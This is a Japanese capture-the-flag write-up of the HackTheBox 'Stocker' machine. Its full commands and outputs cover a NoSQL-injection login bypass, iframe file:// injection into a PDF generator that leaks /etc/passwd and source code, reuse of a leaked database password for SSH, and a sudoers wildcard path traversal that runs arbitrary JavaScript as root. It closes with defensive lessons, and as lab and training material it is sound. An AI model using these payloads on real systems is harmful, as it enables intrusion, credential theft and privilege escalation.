HackTheBox: Stocker — 全実行コマンド・実行結果レポート
Nmap スキャン
22(SSH)/80(nginx)
→
22(SSH)/80(nginx)
NoSQLi認証バイパス
{“$ne”: null}
→
{“$ne”: null}
PDF生成のHTMLインジェクション
<iframe src=”file://…”>
→
<iframe src=”file://…”>
/etc/passwd + index.js漏洩
angoose発見、DB資格情報取得
→
angoose発見、DB資格情報取得
SSH angoose
user.txt ✓
→
user.txt ✓
sudo ワイルドカード
/usr/local/scripts/*.js
→
/usr/local/scripts/*.js
パストラバーサルで任意JS実行
../../../tmp/evil.js
→
../../../tmp/evil.js
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン & vhostの発見
BASH
nmap -sV -sC -p 22,80 10.129.228.197 curl -sI http://10.129.228.197/
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh 80/tcp open http nginx 1.18.0 (Ubuntu) HTTP/1.1 301 Moved Permanently Location: http://stocker.htb
ℹ️
stocker.htbは静的な「Coming Soon」ページのみ。vhostとして
dev.stocker.htb(Node.js/Express製の開発中在庫管理アプリ)
が存在すると推測し/etc/hostsに追記して直接アクセスする。
PHASE 2
NoSQLインジェクションによるログイン認証バイパス
MongoDBクエリ演算子をJSONボディに直接注入
BASH
curl -s -i -c cookies.txt -b cookies.txt \
-H "Content-Type: application/json" \
-d '{"username": {"$ne": null}, "password": {"$ne": null}}' \
http://dev.stocker.htb/login
RESULT
HTTP/1.1 302 Found
Location: /stock
Set-Cookie: connect.sid=s%3AWnOyAJoZQJPWqhWVS6qw85ywJmvsp-qD...
🚨
認証バイパス成功。サーバー側は
req.bodyをそのまま
User.findOne({ username, password })というMongooseクエリに渡しており、
通常は文字列が入るべきusername/passwordに
MongoDBのクエリ演算子オブジェクト{"$ne": null}
(「nullではない」という条件)を送ると、任意の既存ユーザーの最初の1件が
無条件にマッチしてログインが成立してしまう。JSON形式で送るだけで実行でき、
特別なツールは不要。
PHASE 3
注文確認PDF生成機能のHTMLインジェクションによるLFI
注文APIの商品タイトルにHTMLタグを注入
NOTE
/stock 画面で商品を購入すると /api/order に注文内容(basketのJSON配列)がPOSTされ、 /api/po/<orderId> で確認用PDFが生成される。生成には(Puppeteer/wkhtmltopdf系の) ヘッドレスブラウザが使われており、basket内の "title" フィールドが サニタイズされずにPDFのHTML本文へそのまま埋め込まれる。
BASH (/etc/passwd を読む)
curl -s -i -b cookies.txt -H "Content-Type: application/json" \
-d '{"basket": [{"_id": "638f116eeb060210cbd83a8d",
"title": "<iframe src=\"file:///etc/passwd\" width=\"1400\" height=\"1400\"></iframe>",
"description": "probe", "image": "red-cup.jpg", "price": 32,
"currentStock": 4, "__v": 0, "amount": 1}]}' \
http://dev.stocker.htb/api/order
RESULT
{"success":true,"orderId":"6ae1f95ef1278e50f871a7e2"}
🚨
PDF生成エンジンに任意のHTML(
<iframe>)を注入できる。
src="file:///etc/passwd"を指定すると、ヘッドレスブラウザが
ローカルファイルシステム上のファイルをiframe内に表示しようとし、
その内容がそのままPDFに描画される(古典的なHTML-to-PDF変換の
file://プロトコル悪用LFI)。
PDFを取得しテキスト抽出
BASH
curl -s -L -b cookies.txt -o passwd.pdf \ http://dev.stocker.htb/api/po/6ae1f95ef1278e50f871a7e2 pdftotext passwd.pdf passwd.txt grep angoose passwd.txt
RESULT
root:x:0:0:root:/root:/bin/bash
...
angoose:x:1001:1001:,,,:/home/angoose:/bin/bash
✅
/etc/passwdの中身が丸ごとPDFのテキストとして読み取れた。
OSアカウントangooseの存在を確認。
同じ手法でアプリのソースコード(index.js)を読み、DB資格情報を窃取
BASH
curl -s -i -b cookies.txt -H "Content-Type: application/json" \
-d '{"basket": [{"_id": "638f116eeb060210cbd83a8d",
"title": "<iframe src=\"file:///var/www/dev/index.js\" width=\"1400\" height=\"1400\"></iframe>",
"description": "probe", "image": "red-cup.jpg", "price": 32,
"currentStock": 4, "__v": 0, "amount": 1}]}' \
http://dev.stocker.htb/api/order
# → orderId を取得し /api/po/<orderId> から再度PDF取得・pdftotext
RESULT (抜粋)
const dbURI = "mongodb://dev:IHeardPassphrasesArePrettySecure@localhost/dev?authSource=admin&w=1"; ... const { username, password } = req.body; if (!username || !password) return res.redirect("/login?error=login-error"); const user = await mongoose.model("User").findOne({ username, password });
🚨
アプリ自身のサーバーサイドソースコードが丸ごと読める。
MongoDB接続文字列に平文パスワード
IHeardPassphrasesArePrettySecureが
ハードコードされているのを発見。さらに、ソース中の
findOne({ username, password })という行が、Phase 2のNoSQLi認証バイパスが
なぜ成立したのかを裏付けている(入力値の型チェックを一切行っていない)。
PHASE 4
資格情報の使い回しでSSHログイン & user.txt
angooseとしてSSHログイン
BASH
sshpass -p 'IHeardPassphrasesArePrettySecure' ssh angoose@10.129.228.197 \ "id; cat /home/angoose/user.txt"
RESULT
uid=1001(angoose) gid=1001(angoose) groups=1001(angoose) 1a4c0c580a07e1978281b7ba5e084020
user.txt — angoose
1a4c0c580a07e1978281b7ba5e084020
ℹ️
MongoDB専用のはずの資格情報がOSログインのパスワードとしてもそのまま
使い回されている典型的な横移動パターン。
PHASE 5
sudo権限の確認 — ワイルドカード付きパス指定の罠
sudo -l で実行可能なコマンドを確認
BASH
angoose@stocker:~$ sudo -l
RESULT
User angoose may run the following commands on stocker:
(ALL) /usr/bin/node /usr/local/scripts/*.js
🚨
ワイルドカード
*.jsがパスの末尾コンポーネントにしか効かない
というsudoersの仕様上の落とし穴。/usr/local/scripts/配下の
.jsファイルしか実行させないつもりの設定だが、sudoは実際には
文字列パターンとしてシェルのグロブ展開のみをチェックしており、
パスの途中に../を挟んでディレクトリをどこまでも遡った上で
最終的に.jsで終わっていれば条件を満たしてしまう。
PHASE 6
パストラバーサルで任意のJavaScriptをroot権限実行 & root.txt
任意コマンド実行用のJavaScriptを /tmp に作成
BASH
angoose@stocker:~$ cat > /tmp/evil.js << 'EOF'
console.log(require('child_process').execSync('cat /root/root.txt').toString())
EOF
../ でワイルドカードチェックを回避しつつ /tmp のファイルを実行
BASH
angoose@stocker:~$ sudo /usr/bin/node /usr/local/scripts/../../../tmp/evil.js
RESULT
ae487b2f798aaada62f6789033f1a97a
✅
/usr/local/scripts/../../../tmp/evil.jsというパスは、文字列としては
「/usr/local/scripts/で始まり.jsで終わる」という
sudoersのパターンに一致するため許可され、実際に解決されるパスは
/tmp/evil.js(自分が自由に書き込めるファイル)になる。
これをsudo(root権限)でnodeに渡すことで、
Node.jsのchild_process.execSync()経由で任意コマンドがroot権限で
実行される。
root.txt — root (sudoワイルドカード・パストラバーサル経由)
ae487b2f798aaada62f6789033f1a97a
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — angoose
1a4c0c580a07e1978281b7ba5e084020
root.txt — root
ae487b2f798aaada62f6789033f1a97a
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| NoSQLインジェクション(認証バイパス) | dev.stocker.htb /login (Express + MongoDB) | 認証の完全バイパス | Critical | 入力の型チェックなしにfindOne({username, password})へ渡しており、{"$ne": null}注入で常にマッチ |
| PDF生成機能のHTMLインジェクション → LFI | /api/order の basket[].title → /api/po/<id> | サーバー上の任意ファイル読み取り | Critical | 未サニタイズのtitleフィールドにiframe+file://を注入し、生成PDFにローカルファイル内容を描画させる |
| 設定ファイル・ソースコードへの資格情報ハードコード + 使い回し | index.js (MongoDB接続文字列) | OSアカウント(angoose)乗っ取り | High | LFIでソースを読み平文DBパスワードを窃取、同じ値がSSHパスワードにも使い回し |
| sudoersワイルドカードパターンのパストラバーサル | (ALL) /usr/bin/node /usr/local/scripts/*.js | 権限昇格(一般ユーザー → root) | Critical | ../でディレクトリを遡り、自分が書込可能な.jsファイル(例: /tmp配下)をroot権限で実行 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + vhost追加 | 22(SSH)/80(nginx dev.stocker.htb) |
| 2 | 認証バイパス | NoSQLi (MongoDB演算子注入) | stock管理画面へのログイン |
| 3 | LFI | PDF生成のHTMLインジェクション | /etc/passwd + index.js(DB資格情報) |
| 4 | フットホールド | SSH(資格情報使い回し) | user.txt(angoose) |
| 5 | 権限調査 | sudo -l | ワイルドカード付きnode実行権限を発見 |
| 6 | 権限昇格 | sudoersパターンのパストラバーサル | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| リクエストボディの値を型チェックなしにMongoDBクエリへ渡している | 入力値はスキーマバリデーション(express-validator等)で必ず文字列型であることを検証し、オブジェクト型の混入を拒否する。 |
| PDF生成エンジンがユーザー入力由来のHTMLをサニタイズせず描画している | PDF化対象のHTMLは信頼できる固定テンプレートにユーザー入力を安全にエスケープして埋め込み、file://等のプロトコルスキームを無効化する(サンドボックス化されたヘッドレスブラウザ設定)。 |
| DB接続文字列の平文パスワードがソースコードにハードコードされ、OSログインにも使い回されている | 資格情報は環境変数やシークレットマネージャーで管理し、サービスごとに異なる認証情報を発行する。 |
| sudoersのワイルドカードパターンが文字列マッチのみでパス正規化を考慮していない | sudoで許可するコマンドは個別の絶対パスで明示列挙し、ワイルドカードを使う場合はsudoeditやrealpathチェックを組み合わせた安全なラッパースクリプト経由にする。 |

